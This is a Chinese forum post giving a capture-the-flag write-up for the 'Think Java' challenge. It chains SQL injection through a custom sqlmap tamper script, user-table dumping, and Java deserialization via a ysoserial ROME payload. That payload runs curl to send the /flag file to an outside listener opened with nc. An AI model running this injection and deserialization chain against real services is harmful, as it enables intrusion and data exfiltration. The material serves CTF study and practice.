[网鼎杯 2020 朱雀组]Think Java——wp

打印 上一主题 下一主题

主题 515|帖子 515|积分 1545

源文件代码审计

这里使用IDEA打开
Test.class



可以看到这里使用了swagger进行接口的测试,并且在/common/test/sqlDict路径下发送了POST请求,请求参数为dbName
Row和Table

都是实体类,没有什么重点
SqlDict.class




可以看到他是用于数据库连接和查询的,接受Test传来的dbName值,并且已知一个数据库myapp
此时可以对/common/test/sqlDict路径进行简单的测试:

sql注入——sqlmap的tamper编写

测试是否存在sql注入:

那么构造的payload结构是:dbName=myapp# + sql语句# 第一个#是用于在java代码中注释后面的部分使其能够正常访问到数据库
构造tamper:
  1. #!/usr/bin/env python
  2. from lib.core.enums import PRIORITY
  3. __priority__ = PRIORITY.NORMAL
  4. def dependencies():
  5.     pass
  6. def tamper(payload, **kwargs):
  7.    
  8.     result = "myapp#"+payload
  9.     return result
复制代码
然后运行sqlmap进行SQL注入
sqlmap.py -r 1.txt -p dbName --tamper=thinkjava.py -batch -T user --dump

swagger页面接口测试

swagger是用于进行后端API接口测试的,通常需要访问/swagger-ui.html这个页面

此时我们可以通过SQL注入获得的账户去测试登录接口:

登录成功后会返回一串data,rO0AB的开头,这个就是进行base64加密的序列化内容
将rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
转为16进制:
aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e
使用SerializationDumper工具查看16进制序列化内容
https://github.com/NickstaDB/SerializationDumper
点击查看代码
  1. STREAM_MAGIC - 0xac ed
  2. STREAM_VERSION - 0x00 05
  3. Contents
  4.   TC_OBJECT - 0x73
  5.     TC_CLASSDESC - 0x72
  6.       className
  7.         Length - 24 - 0x00 18
  8.         Value - cn.abc.core.model.UserVo - 0x636e2e6162632e636f72652e6d6f64656c2e55736572566f
  9.       serialVersionUID - 0x76 46 43 31 7b 04 f4 3a
  10.       newHandle 0x00 7e 00 00
  11.       classDescFlags - 0x02 - SC_SERIALIZABLE
  12.       fieldCount - 2 - 0x00 02
  13.       Fields
  14.         0:
  15.           Object - L - 0x4c
  16.           fieldName
  17.             Length - 2 - 0x00 02
  18.             Value - id - 0x6964
  19.           className1
  20.             TC_STRING - 0x74
  21.               newHandle 0x00 7e 00 01
  22.               Length - 16 - 0x00 10
  23.               Value - Ljava/lang/Long; - 0x4c6a6176612f6c616e672f4c6f6e673b
  24.         1:
  25.           Object - L - 0x4c
  26.           fieldName
  27.             Length - 4 - 0x00 04
  28.             Value - name - 0x6e616d65
  29.           className1
  30.             TC_STRING - 0x74
  31.               newHandle 0x00 7e 00 02
  32.               Length - 18 - 0x00 12
  33.               Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
  34.       classAnnotations
  35.         TC_ENDBLOCKDATA - 0x78
  36.       superClassDesc
  37.         TC_NULL - 0x70
  38.     newHandle 0x00 7e 00 03
  39.     classdata
  40.       cn.abc.core.model.UserVo
  41.         values
  42.           id
  43.             (object)
  44.               TC_OBJECT - 0x73
  45.                 TC_CLASSDESC - 0x72
  46.                   className
  47.                     Length - 14 - 0x00 0e
  48.                     Value - java.lang.Long - 0x6a6176612e6c616e672e4c6f6e67
  49.                   serialVersionUID - 0x3b 8b e4 90 cc 8f 23 df
  50.                   newHandle 0x00 7e 00 04
  51.                   classDescFlags - 0x02 - SC_SERIALIZABLE
  52.                   fieldCount - 1 - 0x00 01
  53.                   Fields
  54.                     0:
  55.                       Long - L - 0x4a
  56.                       fieldName
  57.                         Length - 5 - 0x00 05
  58.                         Value - value - 0x76616c7565
  59.                   classAnnotations
  60.                     TC_ENDBLOCKDATA - 0x78
  61.                   superClassDesc
  62.                     TC_CLASSDESC - 0x72
  63.                       className
  64.                         Length - 16 - 0x00 10
  65.                         Value - java.lang.Number - 0x6a6176612e6c616e672e4e756d626572
  66.                       serialVersionUID - 0x86 ac 95 1d 0b 94 e0 8b
  67.                       newHandle 0x00 7e 00 05
  68.                       classDescFlags - 0x02 - SC_SERIALIZABLE
  69.                       fieldCount - 0 - 0x00 00
  70.                       classAnnotations
  71.                         TC_ENDBLOCKDATA - 0x78
  72.                       superClassDesc
  73.                         TC_NULL - 0x70
  74.                 newHandle 0x00 7e 00 06
  75.                 classdata
  76.                   java.lang.Number
  77.                     values
  78.                   java.lang.Long
  79.                     values
  80.                       value
  81.                         (long)1 - 0x00 00 00 00 00 00 00 01
  82.           name
  83.             (object)
  84.               TC_STRING - 0x74
  85.                 newHandle 0x00 7e 00 07
  86.                 Length - 5 - 0x00 05
  87.                 Value - admin - 0x61646d696e
复制代码
可以猜测到这个内容是与用户信息有关的,正好还有一个接口:`/common/user/current` 是用来获取用户信息将data内容输入到该接口中
分析反序列化利用点

使用burp插件java Deserialization Scanner



显示可以利用ROME
ysoserial反序列化工具使用

工具地址:https://github.com/frohoff/ysoserial/releases
java -jar .\ysoserial-all.jar ROME "curl http://ip:port -d @/flag" > flag.bin
然后记得将flag.bin文件转base64编码,这里附上我的脚本,可以将base64与16进制互相转换,也可以将bin文件转为base64
-r [bin文件路径] -base64 [当前编码为base64] -hex [当前编码为16进制] -code [需要转码的内容]
点击查看代码
  1. import base64
  2. import sys
  3. import os
  4. def base64_to_hex(b64):
  5.     b64 = b64.replace(' ', '')   # Remove spaces
  6.     pad_len = len(b64) % 4
  7.     if pad_len > 0:
  8.         b64 += '='* (4-pad_len)  
  9.         
  10.     return base64.b64decode(b64).hex()
  11. def hex_to_base64(hex_str):
  12.     byte_string = bytes.fromhex(hex_str)
  13.     return base64.b64encode(byte_string).decode()
  14.    
  15.    
  16. if __name__ == '__main__':
  17.     encode_type = None
  18.     code = None
  19.     file_path = None
  20.    
  21.     for i in range(1, len(sys.argv)):
  22.         if sys.argv[i] == '-code':
  23.             code = sys.argv[i+1]
  24.             i += 1
  25.         elif sys.argv[i] == '-base64':
  26.             encode_type = 'base64'
  27.         elif sys.argv[i] == '-hex':
  28.             encode_type = 'hex'
  29.         elif sys.argv[i] == '-r':
  30.             file_path = sys.argv[i+1]
  31.             i += 1  
  32.             
  33.     if encode_type is None and code is None and file_path is None:
  34.         print('Usage: python code_convert.py [-base64/-hex] [-r file_path] [-code "code_string"]')
  35.         sys.exit(1)
  36.    
  37.     #直接把bin文件内容转为base64
  38.     if file_path:
  39.         with open(os.path.abspath(file_path), 'rb') as f:
  40.             code = f.read()
  41.             fbase64 = base64.b64encode(code)
  42.             print(fbase64)
  43.             file.close
  44.         
  45.     else:
  46.             
  47.         if code:  
  48.             if encode_type == 'base64':
  49.                 hex_result = base64_to_hex(code)
  50.                 print(f'Base64 {code} to Hex: {hex_result}')
  51.             elif encode_type == 'hex':
  52.                 b64_result = hex_to_base64(code)
  53.                 print(f'Hex {code} to Base64: {b64_result}')
  54.                
  55.         if encode_type is None or code is None:
  56.             print('Usage: python code_convert.py [-base64/-hex] -code "code_string"')
  57.             sys.exit(1)
  58.             
  59.         if encode_type == 'base64':
  60.             hex_result = base64_to_hex(code)
  61.             print(f'Base64 {code} \n to Hex: {hex_result}')
  62.         elif encode_type == 'hex':
  63.             b64_result = hex_to_base64(code)
  64.             print(f'Hex {code} \n to Base64: {b64_result}')
复制代码
这里运行:
python3 hex-base64.py -r .\flag.bin
然后远程主机监听对应端口
nc -lvp port
再将编码好的base64编码(开头为rO0AB ,记得加上Bearer)放到 /common/user/current 接口运行


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

农妇山泉一亩田

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表